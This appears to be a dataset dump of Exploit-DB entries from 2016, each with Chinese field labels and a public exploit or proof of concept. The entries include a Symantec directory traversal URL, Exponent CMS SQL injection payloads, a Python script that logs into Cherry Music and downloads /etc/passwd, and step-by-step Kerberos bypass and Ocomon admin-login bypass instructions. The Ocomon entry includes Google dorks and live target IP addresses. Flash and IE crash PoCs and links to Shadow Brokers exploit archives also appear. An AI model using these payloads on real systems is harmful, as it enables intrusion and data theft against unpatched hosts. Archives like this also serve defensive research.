QLWD/code_shield huggingface dataset:
标题: Symantec Messaging Gateway 10.6.1 - Directory Traversal EDB-ID: 40437 CVE: 2016-5312 类型: WEBAPPS 平台: JAVA 发布日期: 2016-09-28 漏洞利用脚本: # Title : Symantec Messaging Gateway <= 10.6.1 Directory Traversal
# Date : 28/09/2016
# Author : R-73eN
# Tested on : Symantec Messaging Gateway 10.6.1 (Latest)
# Software : https://www.symantec.com/products/threat-protection/messaging-gateway
# Vendor : Symantec
# CVE : CVE-2016-5312
# Vendor Advisory and Fix: https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160927_00
# 
#  ___        __        ____                 _    _  
# |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    
#  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    
#  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ 
# |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|
#
#
# DESCRIPTION:
#
# A charting component in the Symantec Messaging Gateway control center does not properly sanitize user input submitted for charting requests. 
# This could potentially result in an authorized but less privileged user gaining access to paths outside the authorized directory. 
# This could potentially provide read access to some files/directories on the server for which the user is not authorized.
#
The problem relies in the package kavachart-kcServlet-5.3.2.jar , File : com/ve/kavachart/servlet/ChartStream.java
The vulnerable code is
extends HttpServlet {
    public void doGet(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
        block6 : {
            try {
                String string = httpServletRequest.getParameter("sn"); 
                //**** Taking parameter "sn" and writing it to the "string variable"


                if (string == null) break block6;
                String string2 = string.substring(string.length() - 3);
                 
                byte[] arrby = (byte[])this.getServletContext().getAttribute(string); 
           
                //**** The string variable is passed here without any sanitanization for directory traversal
                //**** and you can successfully use this to do a directory traversal.
                
                if (arrby != null) {
                    httpServletResponse.setContentType("image/" + string2);
                    ServletOutputStream servletOutputStream = httpServletResponse.getOutputStream();
                    httpServletResponse.setContentLength(arrby.length);
                    servletOutputStream.write(arrby);
                    this.getServletContext().removeAttribute(string);
                    break block6;
                }


POC: 
https://IP-address:PORT/brightmail/servlet/com.ve.kavachart.servlet.ChartStream?sn=../../WEB-INF/lib URL: https://www.exploit-db.com/exploits/40437
标题: Adobe Flash - Crash When Freeing Memory After AVC decoding EDB-ID: 40421 CVE: 2016-4275 类型: DOS 平台: MULTIPLE 发布日期: 2016-09-23 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=859

There is a crash when the AVC decoder attempts to free memory, likely indicating memory corruption.

Fixed in the September update


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40421.zip URL: https://www.exploit-db.com/exploits/40421
标题: Exponent CMS 2.3.9 - Blind SQL Injection EDB-ID: 40412 CVE: 2016-7400 类型: WEBAPPS 平台: PHP 发布日期: 2016-09-22 漏洞利用脚本: =============================================
MGC ALERT 2016-005
- Original release date: September 09, 2016
- Last revised:  September 20, 2016
- Discovered by: Manuel GarcAa CA!rdenas
- Severity: 7,1/10 (CVSS Base Score)
- CVE-ID: CVE-2016-7400
=============================================

I. VULNERABILITY
-------------------------
Blind SQL Injection in Exponent CMS <= v2.3.9

II. BACKGROUND
-------------------------
Exponent CMS is a free, open source, open standards modular enterprise
software framework and content management system (CMS) written in the
programming language PHP.

III. DESCRIPTION
-------------------------
This bug was found using the portal in the index.php page.

To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

It is possible to inject SQL code in the "index.php" page
"/exponent/index.php".

IV. PROOF OF CONCEPT
-------------------------
The following URL have been confirmed to all suffer from Blind SQL
injection and Time Based SQL Injection.

Blind SQL Injection POC:

/exponent/index.php'%20or%201%3d1--%20

/exponent/index.php'%20or%201%3d2--%20

Time Based SQL Injection POC:

/exponent/index.php'%20OR%20SLEEP(1)--%20   (2 seconds of response)

/exponent/index.php'%20OR%20SLEEP(30)--%20   (30 seconds of response)

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
Exponent CMS <= v2.3.9

VII. SOLUTION
-------------------------
Vendor fix the vulnerability:
http://www.exponentcms.org/news/updated-patches-released-for-v2-1-4-and-v2-2-3-1473726129-0.50310400

VIII. REFERENCES
-------------------------
http://www.exponentcms.org/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel GarcAa CA!rdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
September 09, 2016 1: Initial release
September 20, 2016 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
September 09, 2016 1: Vulnerability acquired by Manuel Garcia Cardenas
September 09, 2016 2: Send to vendor
September 12, 2016 3: Vendor fix vulnerability
September 20, 2016 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester URL: https://www.exploit-db.com/exploits/40412
标题: Microsoft Windows Kerberos - Security Feature Bypass (MS16-101) EDB-ID: 40409 CVE: 2016-3237 类型: LOCAL 平台: WINDOWS 发布日期: 2016-09-22 漏洞利用脚本: # Exploit Title: Kerberos Security Feature Bypass Vulnerability (Kerberos to NTLM Fallback)
# Date: 22-09-2016
# Exploit Author: Nabeel Ahmed
# Tested on: Windows 7 Professional (x32/x64) and Windows 10 x64
# CVE : CVE-2016-3237
# Category: Local Exploits & Privilege Escalation

SPECIAL CONFIG: Standard Domain Member configuration with password caching enabled (default), BitLocker enabled without PIN or USB key.
REPRODUCE:
 Prerequisites:
   - Standard Windows 7/10 Fully patched (up until 08/08/2016) and member of an existing domain.
   - BitLocker enabled without PIN or USB key.
   - Password Caching enabled
   - Victim has cached credentials stored on the system from previous logon.

This vulnerability has a similar attack path as MS15-122 and MS16-014 but bypasses the published remediation.

STEP 1: Obtain physical access to a desktop or laptop with the above configuration.
STEP 2: Boot system and determine FQDN of the device. (example. CLIENT.domain.local), this can be obtained by monitoring the network broadcast communication, which the system sends prior to loggin in. The username can be extracted from the loginscreen (E.g USER1)
STEP 3: Create Active Directory for the domain you obtained in STEP 2 (domain.local).
STEP 4: Create User with similar name as the previously logged in user. (E.g domain\USER1), and force user to change password upon next login.
STEP 5: Login on the target machine and proceed to the change login screen.
STEP 6: Disable the following (Inbound) Firewall Rules:
  - Kerberos Key Distribution Center - PCR (TCP and UDP)
  - Kerberos Key Distribution Center (TCP and UDP)
STEP 7: Change the password. (Changing Password screen will appear to hang)
STEP 8: Wait 1 minute before re-enabling the firewall rules defined in STEP 6
STEP 9: Enable firewall rules again and after a few seconds the password should be successfully changed.
STEP 10: Message "Your Password has been changed" is displayed, followed by the following error message "The trust relationship between this workstation and the primary domain failed."
STEP 11: Disconnect Target system's network connection.
STEP 12: Login with the new changed password.

IMPACT: Access gained to the information stored to the target system without previous knowledge of password or any other information. This could also be used to elevate your privileges to local Administrator.

Reference: Video PoC/Demo can be found here: https://www.youtube.com/watch?v=4vbmBrKRZGA
Reference: Vulnerability discovered by Nabeel Ahmed (@NabeelAhmedBE) of Dimension Data (https://www.dimensiondata.com) URL: https://www.exploit-db.com/exploits/40409
标题: Symantec RAR Decomposer Engine (Multiple Products) - Out-of-Bounds Read / Out-of-Bounds Write EDB-ID: 40405 CVE: 2016-5310 2016-5309 类型: DOS 平台: MULTIPLE 发布日期: 2016-09-21 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=867

In issue 810 we pointed out to Symantec that they hadn't updated their unrar based unpacker for years, and it was vulnerable to dozens of publicly documented flaws.

I had expected Symantec to rebase on 5.4.2 (the latest version as of this writing), but they appear to have just backported fixes for the few issues I sent them.

Here are two known bugs in unrar that are fixed upstream, but not in Symantec's ancient code. If they continue to refuse to rebase, this might take a few iterations to shake the bugs out. Sigh.

As in issue 810, these are remote code execution vulnerabilities at the highest possible privilege level.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40405.zip URL: https://www.exploit-db.com/exploits/40405
标题: Cherry Music 0.35.1 - Arbitrary File Disclosure EDB-ID: 40361 CVE: 2015-8309 类型: WEBAPPS 平台: PHP 发布日期: 2016-09-13 漏洞利用脚本: # Exploit Title: Cherry Music v0.35.1 directory traversal vulnerability allows authenticated users to download arbitrary files
# Date: 11-09-2016
# Exploit Author: feedersec
# Contact: feedersec@gmail.com
# Vendor Homepage: http://www.fomori.org/cherrymusic/index.html
# Software Link: http://www.fomori.org/cherrymusic/versions/cherrymusic-0.35.1.tar.gz
# Version: 0.35.1
# Tested on: ubuntu 14.04 LTS
# CVE : CVE-2015-8309

import urllib2, cookielib, urllib

#set parameters here
username = 'admin'
password = 'Password01'
baseUrl = 'http://localhost:8080/'
targetFile = '/etc/passwd'
downloadFileName = 'result.zip'
####

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) 
params = urllib.urlencode({'username': username, 'password': password, 'login': 'login'})
req = urllib2.Request(baseUrl, params)
response = opener.open(req) 
for c in cj:
  if c.name == "session_id":
    session_id = c.value

opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders.append(('Cookie', 'session_id=' + session_id))
params = urllib.urlencode({'value': '["' + targetFile + '"]'})
request = urllib2.Request(baseUrl + "download", params)
response = opener.open(request).read()
with open(downloadFileName, 'wb') as zipFile:
    zipFile.write(response) URL: https://www.exploit-db.com/exploits/40361
标题: Adobe Flash - Transform.colorTranform Getter Infomation Leak EDB-ID: 40355 CVE: 2016-4232 类型: DOS 平台: MULTIPLE 发布日期: 2016-09-08 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=845

There is an info leak in the Transform.colorTranform getter. If the constructor for ColorTransform is overwritten with a getter using addProperty, this getter will execute when fetching the constructor, which can then free the MovieClip containing the Tranform.

A minimal PoC is as follows:

this.createEmptyMovieClip( "mc", 1);
var c = new ColorTransform( 77, 88, 99, 0.5, 1, 2, 3, 4);
var t:Transform = new Transform( mc );
t.colorTransform = c;
this.createTextField( "tf", 2, 0, 0, 2000, 200);
var ct = ColorTransform;
var g = flash.geom;
g.addProperty("ColorTransform", func, func);
var q = t.colorTransform;
tf.text = q.greenMultiplier + "\n" + q.blueMultiplier + "\n" + q.color;

function func(){
 
 mc.removeMovieClip();
 
 return ct;
 
 }


A sample swf and fla are attached. The PoC prints the value of unallocated memory to the screen.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40355.zip URL: https://www.exploit-db.com/exploits/40355
标题: Adobe Flash - Method Calls Use-After-Free EDB-ID: 40356 CVE: 2016-4231 类型: DOS 平台: MULTIPLE 发布日期: 2016-09-08 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=846

If a method is called on a MovieClip, and a getter is set with the name of the method, the getter will get executed during the call, and can free the MovieClip, leading to a user-after-free. A minimal PoC is as follows:

var mc =  this.createEmptyMovieClip( "mc", 1);
mc.addProperty( "f", func, func );
mc.f("hello");

function func(){
 
 mc.removeMovieClip();
 // Fix heap
 var d:Date = new Date();
 return d.getDate;
 
 } 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40356.zip URL: https://www.exploit-db.com/exploits/40356
标题: Adobe Flash - BitmapData.copyPixels Use-After-Free EDB-ID: 40310 CVE: 2016-4229 类型: DOS 平台: MULTIPLE 发布日期: 2016-08-29 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=843

There is a use-after-free in BitmapData.copyPixels. If the method is called on a MovieClip, and the MovieClip is deleted during parameter conversions, it is used to convert future parameters, even though it has already been freed. A minimal proof-of-concept follows:

var mc = this.createEmptyMovieClip( "mc", 1);
var b = new flash.display.BitmapData(10, 10, true, 7);
var f = b.copyPixels;
mc.f = f;
mc.f( {}, { x : { valueOf : func}, y : 0, width : 10, height : 10 }, { x : 0, y :0 }, "natalie", { x : 0, y : 0});


function func(){

 mc.removeMovieClip();
 
 // Fix the heap 
 
 }


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40310.zip URL: https://www.exploit-db.com/exploits/40310
标题: Adobe Flash - Use-After-Free When Returning Rectangle EDB-ID: 40309 CVE: 2016-4228 类型: DOS 平台: MULTIPLE 发布日期: 2016-08-29 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=842

Several methods in flash return instances of the Rectangle class. There is a use-after-free in creating these objects for return. If the this object of the call is a MovieClip, the Rectangle instantiation will run on its thread. If a getter is added to this class's package, it will be invoked when fetching the rectangle constructor, which can free the method's thread, which will cause the Rectangle constructor to run on a thread which has been freed. A minimal PoC is at follows:

var mc = this.createEmptyMovieClip( "mc", 1);
mc.scrollRect = {x : 0, y : 0, height : 10, width : 10}
var r = flash.geom.Rectangle;
var g = flash.geom;
g.addProperty("Rectangle", func, func);
var f = ASnative(900, 405); //scrollRect
mc.f = f;
mc.f();

function func(){
 
 mc.removeMovieClip();
 
 // fix heap
 
 return r;
 
 }
 

A PoC and swf are attached. The PoC crashes in Chrome on 64-bit Windows.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40309.zip URL: https://www.exploit-db.com/exploits/40309
标题: Adobe Flash - Stage.align Setter Use-After-Free EDB-ID: 40308 CVE: 2016-4226 类型: DOS 平台: MULTIPLE 发布日期: 2016-08-29 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=838

There is a use-after-free in the Stage.align property setter. When the setter is called, the parameter is converted to a string early, as a part of the new use-after-free prevention changes. This conversion can invoke script, which if the this object is a MovieClip, can delete the object, deleting the thread the call is made from, which can lead to a use-after-free.

A proof-of-concept is as follows:

this.createEmptyMovieClip("mc", 2);
var o = { toString : f };
mc.func = ASnative(666, 4); //Stage.align setter
mc.func(o);

function f(){
 
 trace("here");
 mc.removeMovieClip();
 for(var i = 0; i < 100; i++){ 
  var t = new TextFormat(); // fill up the slots
  
  }
 }

A fla and swf are attached. The swf crashes in Chrome for Windows.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40308.zip URL: https://www.exploit-db.com/exploits/40308
标题: Adobe Flash - MovieClip Transform Getter Use-After-Free EDB-ID: 40311 CVE: 2016-4230 类型: DOS 平台: MULTIPLE 发布日期: 2016-08-29 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=844

There is a use-after-free in the MovieClip Transform getter. If the Transform constructor is replaced with a getter using addProperty, this getter can free the MovieClip before it is accessed. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip( "mc", 1);
var tf = flash.geom.Transform;
var g = flash.geom;
g.addProperty("Transform", func, func);
mc.f = ASnative(900, 419);
mc.f();

function func(){
 
 mc.removeMovieClip();
 
        // Fix heap
 }


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40311.zip URL: https://www.exploit-db.com/exploits/40311
标题: Adobe Flash - Selection.setFocus Use-After-Free EDB-ID: 40307 CVE: 2016-4227 类型: DOS 平台: MULTIPLE 发布日期: 2016-08-29 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=841

There is a user-after-free in Selection.setFocus. It is a static method, but if it is called with a this object, it will be called on that object's thread. Then, if it calls into script, for example, by calling toString on the string parameter, the object, and its thread will be deleted, and a use-after-free occurs.

A minimal PoC follows:

var mc = this.createEmptyMovieClip( "mc", 1);
var f = Selection.setFocus;
mc.f = f;
mc.f({toString : func});

function func(){
 
 mc.removeMovieClip();
 
        // Fix heap here

 }

A sample SWF and fla are attached. This PoC crashes in Chrome on 64-bit Linux


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40307.zip URL: https://www.exploit-db.com/exploits/40307
标题: Eye of Gnome 3.10.2 - GMarkup Out of Bounds Write EDB-ID: 40291 CVE: 2016-6855 类型: DOS 平台: LINUX 发布日期: 2016-08-23 漏洞利用脚本: # Exploit Title: Gnome Eye of Gnome Out-of-bounds-write
# Exploit Author: Kaslov Dmitri
# Vendor Homepage: https://wiki.gnome.org/Apps/EyeOfGnome
# Version: 3.10.2
# Tested on: Ubuntu 14.04 LTS
# CVE: CVE-2016-6855

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40291.zip


Reported: 19-August-2016
Fixed: 21-Agugst-2016 (fix will go into next software release)

GMarkup requires valid UTF8 input strings and would cause odd
looking messages if given invalid input. This could also trigger an
out-of-bounds write in glib before 2.44.1 URL: https://www.exploit-db.com/exploits/40291
标题: Ocomon 2.0 - SQL Injection EDB-ID: 40285 CVE: 2005-4664 类型: WEBAPPS 平台: PHP 发布日期: 2016-08-22 漏洞利用脚本: # Exploit Title: Ocomon 2.0: Acess administrative Bypass / Multiple Sql
Injection
# Google Dork: inurl:ocomon/index.php or intitle:Ocomon 2.0-RC6
# Date: 2016.08.18
# Exploit Author: Jonatas Fil a.k.a pwx
# Vendor Homepage: ninj4c0d3r.github.io
# Version: Latest 2.0RC6
# Tested on: Linux And Windows
# CVE : CVE-2005-4664


\xDetails:
========================================
[Software]
- Ocomon

[Bug Summary]
- Multiple SQL Injection (SQLi)

[Impact]
- High

[Affected Version]
- Latest 2.0RC6
- Prior versions may also be affected
=========================================



\x01- Search by dork in google

Dorks:
inurl:ocomon/index.php or intitle:Ocomon 2.0-RC6


\x02 - After, To find the victim, open the inspect element in admin page.

\x03 - Look for the parameter: <body>: <table>: <tbody>: <tr>, and return
valida() and delete the content, leaving blank.

\x04 - After, Sign in using: "admin'or'" For Username and Password.

\x05 - Finish!, You get acess in administrative page to the system.


--------------------------------------------
\xDEMO:

http://200.66.111.38/ocomon/index.php
http://191.241.229.210:8080/ocomon/index.php
http://191.241.229.210:8081/ocomon/index.php
---------------------------------------------

References:

https://packetstormsecurity.com/files/100568/Ocomon-2.0RC6-SQL-Injection.html
http://www.cvedetails.com/cve/CVE-2005-4664/
https://www.securityfocus.com/bid/15386/exploit URL: https://www.exploit-db.com/exploits/40285
标题: Cisco ASA / PIX - 'EPICBANANA' Local Privilege Escalation EDB-ID: 40271 CVE: 2016-6367 类型: LOCAL 平台: HARDWARE 发布日期: 2016-08-19 漏洞利用脚本: # Exploit Title: Cisco ASA / PIX - Privilege Escalation (EPICBANANA)
# Date: 19-08-2016
# Exploit Author: Shadow Brokers
# Vendor Homepage: http://www.cisco.com/

 
Full Exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40271.zip URL: https://www.exploit-db.com/exploits/40271
标题: Watchguard Firewalls - 'ESCALATEPLOWMAN' ifconfig Privilege Escalation EDB-ID: 40270 CVE: 2016-7089 类型: LOCAL 平台: LINUX 发布日期: 2016-08-19 漏洞利用脚本: # Exploit Title: WatchGuard Firewalls - ifconfig Privilege Escalation (ESCALATEPLOWMAN)
# Date: 19-08-2016
# Exploit Author: Shadow Brokers
# Vendor Homepage: http://www.watchguard.com/

 
Full Exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40270.zip URL: https://www.exploit-db.com/exploits/40270
标题: Fortigate Firewalls - 'EGREGIOUSBLUNDER' Remote Code Execution EDB-ID: 40276 CVE: 2016-6909 类型: WEBAPPS 平台: HARDWARE 发布日期: 2016-08-19 漏洞利用脚本: # Exploit Title: Fortigate Firewalls - Remote Code Execution (EGREGIOUSBLUNDER)
# Date: 19-08-2016
# Exploit Author: Shadow Brokers
# Vendor Homepage: https://www.fortinet.com/products/fortigate/


Full Exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40276.zip URL: https://www.exploit-db.com/exploits/40276
标题: Cisco ASA 8.x - 'EXTRABACON' Authentication Bypass EDB-ID: 40258 CVE: 2016-6366 类型: REMOTE 平台: HARDWARE 发布日期: 2016-08-18 漏洞利用脚本: # Exploit Title: Cisco ASA 8.X Authentication Bypass
# Date: 17-08-2016
# Exploit Author: Equation Group
# Vendor Homepage: Cisco
# Software Link: Cisco
# Version: Cisco ASA 8.X
# Tested on: Cisco ASA 8.4.2
# CVE : Not sure

Requirements:
* SNMP read (public) string
* Access to SNMP service
* SSH port accessible


Full Exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40258.zip URL: https://www.exploit-db.com/exploits/40258
标题: Microsoft Internet Explorer - MSHTML!CMultiReadStreamLifetimeManager::ReleaseThreadStateInternal Read AV EDB-ID: 40253 CVE: 2016-3288 类型: DOS 平台: WINDOWS 发布日期: 2016-08-16 漏洞利用脚本: <!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=827
-->

<script>
function eventhandler1() {
  CollectGarbage();
}

function eventhandler5() {
  try { /*FileReader*/ var var00063 = new FileReader(); } catch(err) { } //line 68
  try { /*Blob*/ var var00064 = new Blob(); } catch(err) { } //line 69
  try { var00063.readAsDataURL(var00064); } catch(err) { } //line 70
}
</script>

</noembed>
<applet onmouseout="eventhandler6()" truespeed="-1.86811e+009" spellcheck="A" frameborder="all" pluginurl="bottom" link="-32" part="file" ononline="eventhandler1()" onwebkittransitionend="eventhandler10()" onerror="eventhandler5()" char="void" direction="-1">iiThS9l_J8
</xmp>
</select>A7
<object results="object" default="black" aria_checked="1" action="row" onwebkitanimationiteration="eventhandler4()" playcount="bottom" playcount="poly" onsearch="eventhandler4()" oninput="eventhandler9()" translate="left" for="1" checked="-0.155515%" aria_selected="hsides" onerror="eventhandler1()" aria_valuemin="file"> URL: https://www.exploit-db.com/exploits/40253